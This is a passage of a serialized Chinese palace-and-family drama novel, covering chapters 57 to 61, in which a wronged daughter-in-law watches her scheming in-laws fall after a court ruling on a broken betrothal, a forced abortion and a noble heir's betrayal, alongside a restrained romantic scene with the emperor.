薛嘉言先将戚家人安抚下来,等着刘讼师那边的进展。 戚炳春端着架子坐等薛嘉言去筹钱,栾氏捏着帕子盘算着若拿到银子能不能扣一点出来,戚倩蓉则心神不宁,盼着早点把事了解,她好顺利嫁娶魏家。 可没等薛嘉言把钱筹到,戚炳春先收到了顺天府的朱票,门房脸色煞白地跑进来:“老爷!不好了!周家人……周家人把咱们家和魏家都告了!” 戚炳春猛地从椅子上站起来,一把夺过朱票,脸色瞬间沉得能滴出水来,指节用力攥着传票,关节都泛了白。 他咬牙低声骂道:“周老实这个夯货!还真敢去顺天府告我?” 他嘴上说得硬气,心里却发虚。他在周家人面前吹嘘戚家是官,可自己清楚,戚家在勋贵扎堆的京中,连个屁都算不上。 但想到周家“连带告云阳伯府魏扬”时,戚炳春眼底的阴鸷忽然散了些,嘴角甚至勾起一抹冷笑:“哼,真是茅坑里点灯——找死!周老实这是嫌命长了!” 他暗自松了口气,觉得周家人告了魏扬,云阳伯府定会出面料理此事,到时候戚家倒能借势脱身。 衙役催得紧,戚炳春只得按衙门要求,强拉着哭哭啼啼的戚倩蓉往顺天府去。 刚到府衙门口,就被围得水泄不通的百姓堵住了路。百姓们听闻“官员悔婚欲另嫁、女儿私通伯府世子”的新鲜事,早就挤在门口等着瞧。等看到戚倩蓉被戚炳春拽着过来,人群里立刻响起嗡嗡的议论声: “这就是戚家姑娘?看着柔柔弱弱的,怎么能干出这种事?” “听说跟云阳伯府的世子在戏楼搂搂抱抱,被订了亲的婆家撞了个正着!” “啧啧,这要是真的,以后哪家还敢要啊?” …… 那些指指点点的目光像针一样扎在戚倩蓉身上,她慌忙举起袖子捂住脸,肩膀不住地发抖,恨不得找个地缝钻进去。 正窘迫间,一道阴沉的身影从另一侧走来。 魏扬穿着一身玄色锦袍,脸色冷得像冰,连看都没看戚倩蓉一眼,径直往府衙里走。 戚倩蓉眼里瞬间燃起希望,眼泪汪汪地想唤他,可人这么多,又是在大堂上,她只能先闭嘴。 不多时,堂鼓声响,顺天府尹李大人穿着官服升堂,一拍惊堂木,震得堂内瞬间安静下来。 他目光扫过堂下众人,沉声道:“周老实,你状告戚家和魏扬何事?细细道来!” 周老实连忙上前,“噗通”一声跪倒在地,磕了个响头,声音带着激动的颤音:“回大人!草民与戚炳春早年在老家定下我儿周子旺与他女儿戚氏的婚约!可戚家进京后就断了联系,前两日草民一家来京寻亲,竟撞见戚倩蓉与云阳伯府的魏扬在戏楼私会,魏扬还动手打了我儿!戚炳春不仅不认婚约,还恐吓我们我们,求大人为草民做主啊!” “大人容禀!”戚炳春见状,连忙上前想辩解,话刚出口,就被李大人狠狠瞪了一眼。 李大人将惊堂木再次一拍,厉声道:“肃静!本官问话轮得到你插嘴?待周老实说完,自会让你辩白!” 戚炳春被那威严的气势吓得一缩脖子,只能悻悻地闭了嘴,脸色更加难看。 李大人将惊堂木往案上轻轻一按,目光扫向堂下的周老实,声音沉肃:“周老实,你既说戚家违律背信、魏家奸污有约之女,可有证据?” 第57章 彻底崩塌 周老实下意识转头看向身侧的刘讼师,刘讼师上前一步,对着李大人拱手行礼,姿态从容不迫:“回大人,周老实人如其名,是个老实人,不善言辞,特请在下代为陈词。先说戚、周两家的婚约——当年戚炳春与周老实交换信物为凭,今日周家人亦将信物带来了。” 话音刚落,周老实的妻子张氏连忙将怀里的布包递向衙役,布包层层打开,里面躺着一只老旧的银镯。 衙役将银镯呈到案上,李大人拿起端详片刻,微微颔首。 “除了信物,”刘讼师又道,“当年见证二人换信的王五,虽因生病未能上京,却亲笔写下证词,详述十四年前戚、周定亲的经过,还按了手印,此刻也一并呈给大人。” 说着,他从袖中取出一张折叠整齐的纸笺,由衙役转呈上去。李大人逐字看完,再度点头。 “至于戚家女戚倩蓉与魏世子魏扬的私情,”刘讼师的声音抬高了几分,故意让堂外的百姓也能听见,“当日周家人去戏楼寻亲,恰好撞见二人在雅间内举止亲昵,戏楼的掌柜、小二,还有邻座的几位看客,都能作证。周子旺上前理论时,被魏扬殴打致伤,至今身上还有淤青,当时诊治的大夫也可作证,人证、物证一应俱全,绝非空口白话。” “够了!”魏扬猛地打断他,拈着玉扳指,语气满是不耐与傲慢,“不就是打了人么?多大点事!他要多少汤药费,说个数,我魏家还赔得起!” 李大人斜睨了他一眼,冷声道:“魏世子,周家告你的可不止‘殴打良民’一条,还有‘奸污有约之女’——这通奸之罪,你认不认?” “不认!”魏扬想也不想便脱口而出,下巴微抬,语气里满是不屑,“分明是戚家小姐主动纠缠于我,我念她是女子,未曾多加苛责,如今反倒被她倒打一耙,真是无妄之灾!” “你胡说!”周子旺气得满脸通红,往前冲了两步却被衙役拦住,只能指着魏扬怒吼,“我们掀开雅间布帘的时候,你手还在她怀里呢!那么多人都看见了,你怎么敢不认!” “轰——” 堂外的百姓顿时爆发出一阵哄笑,议论声此起彼伏。 魏扬的话像针一样扎在戚倩蓉心上,她难以置信地看着魏扬,嘴唇哆嗦着。 一旁的戚炳春也猛地转头看向女儿,眼神里满是质问,她不是说跟魏扬两情相悦吗。 戚倩蓉只觉得天旋地转,双腿一软,顺着堂下的廊柱滑坐在地。 她看着魏扬冷漠的侧脸,泪水混着脸上的脂粉往下淌,声音哽咽着,带着最后的祈求:“魏郎……魏郎你不能这么说……你忘了在戏楼里,你还说要娶我的吗?” 魏扬下巴微抬,视线掠过瘫在地上的戚倩蓉,语气里满是嘲讽:“戚姑娘,我怎么可能要娶你?论家世,论品行,我都不可能娶你啊。” 戚倩蓉的心像被重锤狠狠砸中,瞬间碎得四分五裂。她终于看清,魏扬从始至终都没有真心待她,如今事闹大了,他只想把所有污水都泼到她身上,好让自己全身而退。 可她的小腹里,已经怀上了他的孩子啊!这是她唯一的筹码,也是最后的救命稻草。 她再也顾不得什么羞耻体面,含泪的目光死死盯着魏扬,声音带着哭腔的恳求:“魏郎,你不能这么对我……我已经有了你的骨肉!你忍心抛弃我们吗?” 此话一出,满堂哗然,戚炳春双眼似利箭一般射向戚倩蓉。恨不得当场杀了她,太蠢了,这种话怎么能当众说出来呢。 “我的孩子?”魏扬像是听到了天大的笑话,嗤笑一声,语气骤然变得恶毒,“戚倩蓉,你自己不守妇道,与谁厮混都不一定,如今怀了孽种,倒想赖在我头上?谁知道你肚子里那个,是哪个野男人的种!” “不……不是这样的……”戚倩蓉浑身一震,像是被这句话抽走了所有力气,喃喃自语着,脸色瞬间惨白如纸。 魏扬的话像一把淬了毒的尖刀,精准地刺穿了她最后的防线,她只觉得眼前一阵阵发黑,下一秒,她一口气没上来,双眼猛地一翻,身体便软软地向一侧倒去。 “蓉儿!我的蓉儿啊!”一直躲在人群后,大气不敢出的栾氏见状,顿时尖叫起来,像疯了一样推开围观的百姓,跌跌撞撞地扑到戚倩蓉身边,抱着她哭喊。 公堂上瞬间乱作一团,衙役们忙着维持秩序,高声喝止喧闹的百姓;周家人交头接耳,脸上带着几分幸灾乐祸;魏扬皱着眉,嫌恶地往后退了半步;连端坐堂上的李大人都皱紧了眉头,重重拍了一下惊堂木,沉声道:“肃静!公堂之上,岂容喧哗!”可堂下的混乱,却一时半会儿难以平息。 李大人目光扫过一片混乱的公堂,最终落在呆立原地的戚炳春身上,语气沉得像淬了冰:“戚炳春,事已至此,你还有何话可说?” 戚炳春张了张嘴,却发不出半点声音。他的脑袋里像塞进了一窝乱撞的蜜蜂,嗡嗡作响。 李大人见他不言,也不再追问,目光掠过堂下众人,已有决断。 “啪!” 李大人猛地拍下惊堂木,浑厚的声响瞬间压下公堂的嘈杂,围观百姓的议论声戛然而止。 “肃静!”他沉声道,目光扫过堂下众人,一字一句当庭宣判:“经查,戚周两家早年交换银镯定亲,有信物为凭,更有王五证词佐证,婚约属实,依规应予维持!戚倩蓉未出阁便与外男私相授受,行为失检,本应杖责惩戒,但念其此刻晕厥,且年纪尚轻,本官暂免其刑。着戚倩蓉伤愈之后,择日与周子旺完婚,不得悔婚!” 话音刚落,周老实一家顿时喜形于色,周子旺更是激动得攥紧了拳头。 李大人话锋一转,看向面如死灰的戚炳春:“戚炳春!你身为朝廷九品命官,却治家不严,纵容女儿失德;更敢以官身威吓平民,妄图压下婚约之事,实属有失官体,败坏风气!本官会将此事具本上奏吏部,请部议处你的失职之罪!” 接着,李大人又看向魏扬:“魏扬殴打良民,本官判你赔偿汤药费,并支付伤者周子旺的营养费用。” “退堂!” 随着最后两个字落下,堂外衙役齐声高喝:“威——武——”棍棒顿地的声响整齐划一,如同惊雷般在公堂内炸响,震得戚炳春耳鸣眼花,双腿一软,险些栽倒在地。 他扶着身旁的廊柱,才勉强站稳,眼前阵阵发黑。 完了,全完了!女儿要嫁给周子旺那个粗鄙的乡下小子,这辈子算是毁了;而他自己,吏部的差事顾忌是保不住了!他苦心经营多年的京城生计,竟在这一日,彻底崩塌了。 第58章 出主意 顺天府公堂的判决像一颗石子投进沸水,不过半日,消息就顺着京城的街巷疯传开来。 风似长了脚,不仅把“戚家小姐未婚先孕”“攀附伯府世子反被弃”的事情传开,还添了无数离谱的枝节。 流言像潮水般涌来,唾沫星子几乎要把戚家的朱漆大门淹没。更有甚至,竟趁门房不备,扔了不少烂菜叶子、臭鸡蛋。前世薛家门口发生的这一幕,终于轮到戚家了。 戚倩蓉被从公堂抬回来后,就把自己锁在西厢房里不肯出来。房里时不时传来瓷器碎裂的声响,夹杂着她撕心裂肺的哭喊,一会儿哭着要解腰带上吊,一会儿又趴在床上骂魏扬“绝情寡义”,骂周家“穷疯了害人”。 栾氏急得团团转,整天守在房门外抹眼泪。 戚炳春的日子更不好过,工部那边接到顺天府的判罚,说他凭借官身欺压百姓,马上便把他除名了,他现在也是百姓了。气得戚炳春心气不顺,头疼欲裂,竟起不了床。 薛嘉言却难得得了几日清净。她看着戚家乱糟糟的景象,嘴角勾起一丝极淡的笑意。 前世,那些骂她“狐媚惑主”“败坏门风”的流言也是这样满天飞。那时戚家人不仅没替她辩解一句,反而跟着外人一起骂她贱。如今不过是流言换了个对象,戚家就疼得受不了了? 薛嘉言轻轻啜了口茶,温热的茶水滑过喉咙,慰帖了心底多年的寒凉。 这世上的事,从来都是因果循环。戚家当年欠她的,欠她母亲的,如今总算开始一点点还了。 周家得了判罚,趾高气扬地来戚家要商量婚期,还扬言只要戚倩蓉不要孽种,让戚倩蓉把肚子里的孩子弄没了再嫁进来。 戚炳春就戚倩蓉一个女儿,还指望女儿嫁入高门,并不想如周家的愿。 “得找魏扬!”戚炳春眼底闪过一丝孤注一掷的光,“孩子是他的,只要他肯认,让他出面退了周家的婚事,再把倩蓉接进云阳伯府,哪怕是做妾,也比嫁去周家强!” 栾氏连忙点头,“对对!魏世子是云阳伯府的继承人,只要他开口,周家哪敢不依?” 戚炳春命管家去找魏扬,谁知人家连见都不见。 管家灰头土脸地回府复命,戚炳春听完气得直拍桌子,栾氏则当场哭倒在地,戚倩蓉躲在屏风后听得真切,指甲深深掐进掌心,眼泪无声地滚下来。她怎么也没想到,魏扬竟会如此绝情。 薛嘉言坐在偏院,听司雨把这些事一一禀明,眼底并没什么波澜。 前世,戚倩蓉是一年之后有孕,魏扬早已出了孝期,戚少亭靠着她和晖善长公主的关系,从鸿胪寺升去工部做了郎中,前途正好,她又私下拿了银子给周家,压下了婚约之事,魏扬这才松口让戚倩蓉进门做妾。 可这一世不同。事情闹到了公堂,人人都知道了周家的婚事,知道戚倩蓉怀孕的时间,恰好是魏扬为祖母守孝的日子。“孝期奸淫”是多大的罪名?不仅会毁了魏扬的名声,连云阳伯府都会被牵连。 魏扬本就凉薄自私,此刻怎会为了一个声名狼藉的戚倩蓉,赌上自己和家族的前程?他不认,才是最聪明的选择。 薛嘉言抬眼望向戚倩蓉的院落方向,隐约能听到栾氏的哭声,像是听戏一样开心。 戚倩蓉握着剪刀要寻死,戚炳春骂道:“你要死便死!别在这儿丢戚家的脸!” 栾氏闻讯赶来,也被戚炳春骂:“都是你!平日里只会惯着她!把她惯得不知廉耻,如今闹出这等丑事,你满意了?” 接着两个响亮的耳光甩在栾氏脸上,栾氏踉跄着后退两步,捂着脸跌坐在地上哭。 戚炳春喘着粗气,盯着栾氏哭丧的脸,忽然眼底闪过一丝算计:“你去!去少亭媳妇院里跪着!她是戚家的儿媳,长辈都给她下跪了,她还能坐视不管?周家那群穷鬼,一百两搞不定,二百两不心动,给个五百六百他不信周家不妥协!” 他笃定薛嘉言手里有嫁妆,只要栾氏把姿态做足,薛嘉言必定会掏钱。 栾氏不敢违逆,捂着脸爬起来,拖着沉重的步子往薛嘉言的院子走。 此时薛嘉言正坐在窗边给棠姐儿做衣裳,见栾氏进来,眼皮都没抬一下,只当作没看见。 栾氏犹豫了片刻,终究还是“咚”的一声跪在了青石板上,膝盖撞得生疼,低低哼了一声。 直到她跪下了,薛嘉言才像是刚发现似的,放下手里的针线,故作惊慌地让司春扶人:“娘!您这是做什么?快起来!膝盖受了寒可怎么好!” 栾氏被司春半扶半搀着站起来,抓住薛嘉言的手哭道:“少亭媳妇,娘求你了!想办法筹一千两银子吧!只要能让周家退婚,多少钱娘都认!日后定让少亭加倍还你!” 薛嘉言皱着眉,脸上满是为难,叹了口气道:“娘,不是我不帮您,实在是家里拿不出这么多现钱啊。” 栾氏急得直跺脚,又哭道:“那你回娘家求你爹娘啊!你娘是江南富商,一千两对他们来说不算什么!” 薛嘉言垂下眼,语气带着几分无奈,“我爹娘上个月就去丹阳了,如今不在京城,我就是想求,也找不到人啊。” 栾氏闻言,像是被抽走了所有力气,眼泪鼻涕糊了一脸,声音嘶哑地喊道:“少亭媳妇!你要是不帮这个忙,我们还有什么活头,我就带着蓉儿一起死在你面前!” 她说着,就要往柱子上撞,却被司春死死拉住。 薛嘉言眉头蹙得紧紧的,一脸愁苦地看向栾氏,语气里满是恳切:“娘,不是儿媳不肯帮,实在是一千两银子不是小数目。咱们家这些年的用度全靠我那点嫁妆撑着,手头真的空了。” 她顿了顿,话锋一转,“不过,这件事根子在云阳伯府啊!魏世子先是与妹妹有了私情,如今妹妹怀了孕,他却翻脸不认人,这难道不是他们的错?咱们就算凑钱摆平了周家,妹妹肚子里的孩子怎么办?往后她名声坏了,谁还肯要她?” 这番话句句戳在栾氏的心坎上,她原本还带着哭腔的抽噎渐渐止住,抬手抹了把泪,眼神里多了几分茫然:“可……可人家是有爵位的高门,咱们就是普通人家,还能拿他们怎么样啊?” “娘说的哪里话!”薛嘉言往前凑了半步,声音压得低了些,却带着十足的鼓动性,“越是高门大户,越怕名声坏了!您和妹妹连死都不怕了,难道还不敢去争一争?要么去顺天府接着告,要么就去伯府门口跪着求,伯府也怕把事情闹大,他们比咱们还怕丢人。” 栾氏听得眼睛一亮,先前的绝望散去不少,连忙止住眼泪,起身就往戚炳春的屋里跑。 第59章 傻人没傻福 听到栾氏说要去伯府门口闹,戚炳春也想到了这一点,他决定双管齐下。 “你明天一早就带着蓉儿去伯府门口跪,务必让他们松口认下倩蓉;至于周家那边,还是得让少亭媳妇去筹钱,她手里肯定有银子,只是不肯轻易拿出来罢了。” 云阳伯府,管家匆匆跑进来,脸色发白:“老爷!不好了!戚家的人,堵在咱们府门口跪着了,哭哭啼啼地,街上已经围了不少人看了!” 云阳伯魏承德指着魏扬怒骂:“你个孽障!孝期里不安分,还惹上这种烂摊子!我早就跟你说过,别跟那些不三不四的人来往,你偏不听!咱们伯府的脸都要被你丢尽了!” 魏扬也有些懊恼,他哪知道戚倩蓉身上还有婚约,竟闹出这些事来。 云阳伯也无法,只得赶紧给他收拾烂摊子。 不多时,伯府内出来两个妇人,跟栾氏和戚倩蓉耳语了几句,领着她们从侧门进了伯府。 魏扬拉过戚倩蓉的手,声音带着委屈说道:“倩蓉,不是我不肯认你,你也知道,我还在孝期,这时候要是传出你怀了我的孩子,不仅是对祖母不敬,连宗人府那边也没法交代,伯府的爵位都可能受牵连。” 戚倩蓉的眼泪瞬间涌了上来,攥着他的袖口不肯放,声音发颤:“那……那我怎么办?顺天府判我嫁去周家,我不要嫁……” “你先别急,”魏扬抽出手,从怀里摸出一张银票,轻轻放在她手里,“这里是五百两,你先拿着。找个稳妥的大夫,把孩子打了。这也是没办法的事,孝期不能生子嗣。等过了孝期,我就去戚家提亲,风风光光把你娶进门,好不好?” 戚倩蓉心有余悸问道:“魏郎,你……你不会骗我吧?” “傻姑娘,我怎会骗你?”魏扬伸手拭去她的泪,语气格外软和:“若不是真心喜欢你,我何必花这么多银子?你乖乖听话,等我孝期满了,咱们就再也不分开。” 戚倩蓉望着魏扬“真诚”的眼神,残存的那点疑虑渐渐散了,含泪点了点头。出去找到栾氏,又从角门离开伯府。 回到戚家,栾氏捏着那张的银票递给戚炳春,戚炳春总算得到了一个好消息。 戚炳春跟周老实讨价还价好几日,终于定下五百两的金额,他还特意请了顺天府的书吏在场作证,两家将婚约取消,从此男婚女嫁各不相干。 周老实本就嫌戚倩蓉名声不好,又看着白花花的银子,哪里还肯多计较?连忙从怀里摸出旧银镯递过去,接过笔歪歪扭扭地签了名字,按上鲜红的手印,这事就算彻底了了。 薛嘉言听司雨把事情始末说清楚,心底有一丝惋惜。她原以为,云阳伯府会为了名声硬扛到底,或是与戚家闹得两败俱伤,没成想他们竟肯花五百两银子息事宁人,倒让戚炳春轻轻松松就把这烂摊子摆平了。 她想了想,其实这样也好。戚家如今臭不可闻,也该让他们尝尝前世自己被辱的滋味了。 事情议定后,栾氏寻了个医婆,弄来一副堕胎药。 戚倩蓉坐在床边,看着那碗黑漆漆的药,眼泪又掉了下来。 她摸着还未显怀的小腹,心里又悔又痛。这是她和魏扬的孩子,可魏郎说了,孝期不能留,留着只会毁了他的前程。栾氏见她迟疑,连忙端过药碗递到她嘴边:“蓉儿,快喝了吧!喝了才能等世子孝期满了娶你,不然你这辈子就完了!” 戚倩蓉闭了闭眼,忍着喉间的恶心,仰头将苦涩的药汁一饮而尽。半个时辰后,小腹传来一阵撕心裂肺的绞痛,鲜血顺着裙摆往下渗,很快浸湿了身下的褥子。 “娘……娘!好痛……好多血……”她抓着栾氏的手,声音微弱得像蚊蚋,脸色惨白如纸。 栾氏看着满床的血,吓得魂都飞了。她这辈子没见过这阵仗,这事戚炳春过来也不方便,慌乱间只想起薛嘉言。往常家里有事,不都是她来收拾? “彩鸢!彩鸢!快去找大奶奶!让她来看看蓉儿!” 彩鸢连鞋都快跑掉了,跌跌撞撞冲进春和院,却被司春拦住。 “彩鸢姑娘,这大半夜的,你慌什么?”司春挡在门前,神色平静。 “司春姐姐!不好了!我们姑娘流了好多血,快让大奶奶去看看吧!”彩鸢急得眼泪直流,伸手就要推开司春往里闯。 司春却纹丝不动,侧身挡住门:“实在对不住,我们大奶奶傍晚就不舒服,喝了药已经睡下了,实在经不起打扰。” “可我们姑娘快不行了!”彩鸢哭喊道。 司春从袖中摸出一把碎银子,塞进彩鸢手里,语气缓和了些:“大奶奶病着去了也帮不上忙,不如你拿着这银子,赶紧去请个大夫来。大夫才懂怎么止血救命,你说是不是?” 彩鸢看着手里的碎银子,又想想戚倩蓉痛苦的模样,只好咬咬牙转身跑了。 司春看着她的背影消失在夜色里,这才轻轻舒了口气。 薛嘉言哪里是病了,是去了宫里。 长宜宫的寝殿里,烛火燃得明晃晃的,薛嘉言坐在铺着软垫的紫檀木凳上,有些焦躁地等着。 忽听得殿外传来轻缓的脚步声,姜玄推门走了进来。 他今日穿了件墨色常服,黑发仅用一根玉簪束着,眉宇间带着几分未散的倦意,右手轻轻揉着太阳穴,见着薛嘉言,紧绷的下颌线才稍缓,声音低哑:“等久了吧?方才头又疼起来,让太医按了半刻钟,才过来。” 第60章 花前月下 薛嘉言目光落在他微蹙的眉头上,她知道姜玄有头风的旧疾,前世张鸿宝曾特意教过一套缓解头疼的按摩手法,那时她满心都是对姜玄的怨怼,只敷衍着学了一下,给姜玄按过两次后,大概是手法不对,姜玄便没再让她按过。 如今看着姜玄强忍不适的模样,薛嘉言后知后觉地懊恼:若是前世好好学了,此刻岂不是能在他面前献殷勤。 姜玄拉着她一同在软榻上坐下,掌心抚着她柔软的腰肢,漫不经心地问道:“听说近来戚家似是出了些事,若是需要朕做什么,尽管开口。” 薛嘉言面上带着温顺的笑意:“不过是些家宅里的丢人事,传出去徒惹陛下笑话,哪里用得着劳烦陛下?” 姜玄闻言,又道:“云阳伯府如今还在孝期,的确不宜议亲。等明年孝期满了,若是戚家与伯府还有意,朕给他们赐一道婚旨,如此便能堵了外头的流言,也能让戚家脸上好看些。” 薛嘉言心底暗自腹诽:您可别添乱了!嘴上却愈发柔和,伸手轻轻覆在他手背上:“多谢陛下体恤,只是公婆早已跟云阳伯府商议妥当了,这点小事,就不劳陛下费神了。” 姜玄本就只是看在薛嘉言的面子上才多问两句,见她态度坚决不愿他插手,便也不再多提。 薛嘉言趁着这间隙,往姜玄身上凑了凑,双手轻轻环住他的腰,脸颊缓缓贴在他的胸口。锦缎衣料下,是他沉稳有力的心跳声,“咚咚”地顺着耳廓往心底钻,让她原本平静的心也跟着乱了节拍。 算起来,自她上次离宫回府,两人已有一个多月未曾有过床笫之欢。他们的身体早已熟悉彼此的温度与轮廓,此刻这般肌肤相贴,那点压抑许久的情愫便像春草般疯长,连呼吸都变得有些灼热。 她能感觉到姜玄的身体微微一僵,随即手臂轻轻揽住她的肩,掌心顺着她的脊背缓缓摩挲,两人之间的氛围,渐渐染上了几分旖旎的情愫。 姜玄本就年轻,胸腔被薛嘉言温软的身子一贴,早已按捺不住。喉结上下滚了滚,呼吸陡然粗重了几分。 薛嘉言仰头想要亲他,鼻尖刚触到他的下巴,他却猛地站起身,攥着她的手转身就往外走。 “朕让人弄了两盆好花,带你去瞧瞧。”姜玄边走便低声道。 两人来到寝殿外的小花园,廊下悬挂的宫灯将暖黄的光晕洒在桌上的两盆牡丹花上。 一盆豆绿,花瓣像凝了脂的碧玉,泛着莹润的光泽;一盆姚黄,花心裹着金粉似的,碗口大的花朵沉甸甸垂着,如芙蓉出水。 晚风拂过,花瓣轻轻颤动,连空气里都飘着淡淡的花香。 薛嘉言的眼睛瞬间亮了亮,语气里满是惊喜:“这个时节竟还有这么好的牡丹?” 她打小就爱牡丹,家里的花圃里种着七八种名品,如今见着这两盆盛放的,自然欢喜。 “是花匠放在凉房里控着温养的,前几日才挪出来,今晚刚开得正好。” 姜玄走到她身边,从一旁的侍女手里接过一把小巧的银剪,剪尖对着姚黄最盛的那朵,低声询问:“你喜欢哪一朵?朕摘下来给你插在发间。” 薛嘉言笑着摇头:“别摘了。这么好看的花,摘下来没半日就蔫了,多可惜。咱们就这么坐着看看,已经很好了。” 姜玄见她是真心疼惜,便放下银剪,拉着她在一旁坐下。 不多时,张鸿宝端着茶盘过来,两人捧着茶盏,偶尔啜一口,品茗赏花,不亦乐乎。 “朕小时候没怎么见过花。”姜玄忽然开口,声音放得很轻,“那时候在冷宫,院里只有杂草。第一次见牡丹,还是十五岁那年的春日,跟着先帝去御花园,才知道世上竟有这么好看的花。” 薛嘉言听着,心里忽然软了软。 她自小被父母、外祖父母捧在掌心里长大,要什么有什么。 小时候她喜欢牡丹,外祖父特意在花圃里设了牡丹畦,姚黄、魏紫、赵粉样样齐全,还专门请了老花匠照料。她要是看中哪朵,花匠会小心地剪下来,插在水晶瓶里送进她房里。 薛嘉言又忍不住笑自己荒唐——眼前这人是九五之尊,掌着天下的疆土与权柄,宫里的奇花异草不计其数,她竟会可怜一位帝王。 薛嘉言抬眸看了看月色,有些着急,再不开始,时间就来不及了。 她正在想着如何叫姜玄回寝殿,腕间忽然一紧,整个人已被姜玄打横抱起。温热的气息裹着龙涎香漫在鼻尖,她顺势环住他的脖颈,唇角忍不住微扬,心道总算等来了。 寝殿内烛火摇曳,映得帐幔上的两个人影交叠。姜玄将她轻放在铺着软绒的床榻上,先低头在她光洁的额间印下一个轻吻,声音喑哑:“言言,你今晚……高兴吗?” 薛嘉言仰头望着他,烛火在他眼底跳着光,她用力点头,声音软糯:“高兴。” 姜玄闻言,唇角的笑意深了几分,随即俯身,唇瓣轻轻落在她唇上。 唇齿相触的瞬间,薛嘉言能清晰感受到他喉结上下滚动,环在她腰侧的手臂绷得紧实,青筋隐隐凸起,他是想要她的。 她心头一热,伸手便要去解他腰间的玉带,指腹刚触到冰凉的玉扣,姜玄却猛地按住她的手,骤然起身,高声唤道:“玉珍!” 殿外的玉珍应声而入,躬身候命。 姜玄站起来,声音已恢复了平日的沉稳:“送薛主子回府。” 薛嘉言僵在床榻上,手指还悬在半空,满脑子都是疑惑,方才亲吻时的温度还留在唇上,他怎么转瞬间就变了主意? 她望着姜玄挺拔却紧绷的背影,想问“为什么”,话到嘴边又咽了回去,只能默默起身,理了理微乱的衣襟。 出了长宜宫,夜风吹得她清醒了些,正低头琢磨着皇帝的反常,身后忽然传来熟悉的声音,回头一看,竟是张鸿宝 薛嘉言与他并肩而行,斟酌着开口:“方才在殿内,听闻陛下偶有头疼,我想着,若能学些按摩手法,或许能为陛下分忧,不知张公公可否指点一二?” 张鸿宝闻言笑了,眉眼温和:“薛主子有这份心,是陛下的福气,这点小事,何足挂齿?明日我便把手法图谱送过去,再当面教您几遍,保准您能学会。” 薛嘉言连忙道谢,与张鸿宝一道顺路回去。 而长宜宫的净房内,姜玄站在冰凉的青铜镜前,低头看着自己紧绷的身体,不断调整着呼吸。 烛火映在他眼底,满是克制后的清明,他想,有了花前月下,也有了喁喁私语,她也说高兴,下一次,便可以水乳交融了吧? 第61章 糊弄 薛嘉言一路琢磨着姜玄刚才问她想不想进宫那件事,好在姜玄只问了一句,她没有回答,他也没有追问。 或许,他也只是心血来潮,少年人,总有冲动的时候。 不过还是得找时间跟张鸿宝说一说,请他帮忙敲敲边鼓,她与姜玄,保持这种关系就够了。 薛嘉言乘轿回到戚府时,天边还浸在夜色里,唯有她们府里还亮着几盏灯。 司春早已候在后门处,见轿帘掀开,忙快步上前扶着薛嘉言下车,压低声音凑到薛嘉言耳边:“奶奶,您可算回来了。蓉姑娘那边……出了好多血,彩鸢急着来寻您,奴婢按您先前的吩咐,说您身子不适睡下了,给了她些碎银子让她去请大夫。方才奴婢打听着,前后已经请了三位大夫……” 薛嘉言脚步顿了顿,栾氏给女儿堕胎的事情并未跟她讲,但她也能猜得出发生了什么。 她心里没半分波澜,戚家从未把她和棠姐儿的命当回事,戚倩蓉的死活,与她何干? “知道了。”薛嘉言淡淡应了声,越过司春径直往自己的春和院走。 “奶奶,您不去看看吗?”司春追上去问。 薛嘉言道:“我又不是大夫,看了能如何。” 第二日天刚亮,栾氏就哭哭啼啼地撞进了春和院。 “太太,我们奶奶还没起床呢。”司雨拦住了栾氏,不许她进屋里。 栾氏在门口呜咽着哭着喊着:“这可怎么办啊,呜呜……我实在是不知道怎么办了,老爷一个男人总不能过问这个事……” 薛嘉言觉本来就轻,被栾氏这一闹早就醒了,她揉了揉太阳穴,说了一句:“请太太进来吧。” 栾氏头发散乱,衣襟上还沾着些污渍,进了屋就扑过来,抓住薛嘉言的手哭道:“少亭媳妇!可怎么办啊!大夫说……说蓉儿这胎没流干净,伤了底子,将来怕是……怕是再也不能生了!这往后可怎么活啊!” 薛嘉言不动声色地抽回手,有些震惊地问道:“怎么会这样?魏家不是认了这孩子吗?为何要打掉?” 栾氏抹着眼泪,抽抽噎噎说道:“魏世子说他还在孝期,不能留孩子,让蓉儿先打了,等孝期满了就娶她进门,到时候再怀也不迟。可现在……现在蓉儿连生育都难了,这可怎么好!” 她忽然抓住薛嘉言的胳膊,眼神亮得有些偏执:“少亭媳妇,你不是认识宫里的太医吗?你快请一位好太医来给蓉儿瞧瞧!要是能治好,将来蓉儿嫁进伯府做了世子妃,你和棠姐儿还能跟着沾光呢!咱们可是一家人啊!” 薛嘉言听得心头冷笑,白眼都快翻到天上去了。 这母女俩到底有没有带脑子?戚倩蓉唯一能拿捏魏扬的,就是肚子里的孩子,如今孩子没了,她又落了不能生育的病根,魏扬那样的人,怎么可能还会娶她?怕不是连面都懒得再见了。 至于请太医?她又不是傻子。太医的人情有多金贵,她凭什么浪费在戚倩蓉身上? 她面上却摆出为难的神色,“贴心”提醒:“娘,您先别急着哭,咱们得往长远了想。倩蓉如今这情况,只能等将来孝期满了,嫁给魏世子。云阳伯跟太医署的院正大人交情不浅,咱们要是去请太医,不管是哪个太医来看,诊出倩蓉是落胎伤了底子,这事还能瞒得住吗?” 她顿了顿,看着栾氏脸色一点点变白,又接着道:“到时候伯府知道倩蓉不仅未婚失贞,还落了不能生育的病根,就算魏世子先前有过承诺,云阳伯能愿意让这样的媳妇进门?” 这番话像一盆冷水,浇得栾氏瞬间清醒了大半,嗫嚅着:“那……那可不能让伯府知道……” 薛嘉言见她听进去了,又道:“依我看,倒不如在民间寻访那些擅长调理女子身子的老名医。咱们多给些银子,让大夫上门来看,一来银子给足了,大夫尽心,说不定真能把倩蓉的病治好;二来咱们守着门,不让外人知道,既能瞒住这档子丑事,又能悄悄把身子养着,等魏世子一出孝,立马就能风风光光嫁过去,这不是比请太医稳妥多了?” 栾氏本就是个没主意的,被薛嘉言这么一分析,只觉得句句都说到了心坎里,哪里还敢再提请太医的事?她连忙点头,抹掉脸上的眼泪,赞同道:“你说得对!还是你想得周全!那你赶紧让人去寻民间的好大夫,多花点银子没关系,只要能把蓉儿的病治好!” 薛嘉言几句话哄着栾氏出了门,她又倒头睡下了。 自打顺天府将戚炳春“治家不严、以官压民”的折子递给工部,工部便将戚炳春工部大使的差事革了,他现在也跟周老实一样,就是个平头百姓了。 戚炳春不甘心,接连跑了三天,先去拜会从前工部的同僚,又去求曾有过一面之缘的吏部主事,可次次都是了吃闭门羹。 戚炳春此刻才后知后觉地明白,他能在工部混个九品大使做,不是因为他真的有什么能力,不过是人家看在薛嘉言父亲的面子上赏他的。 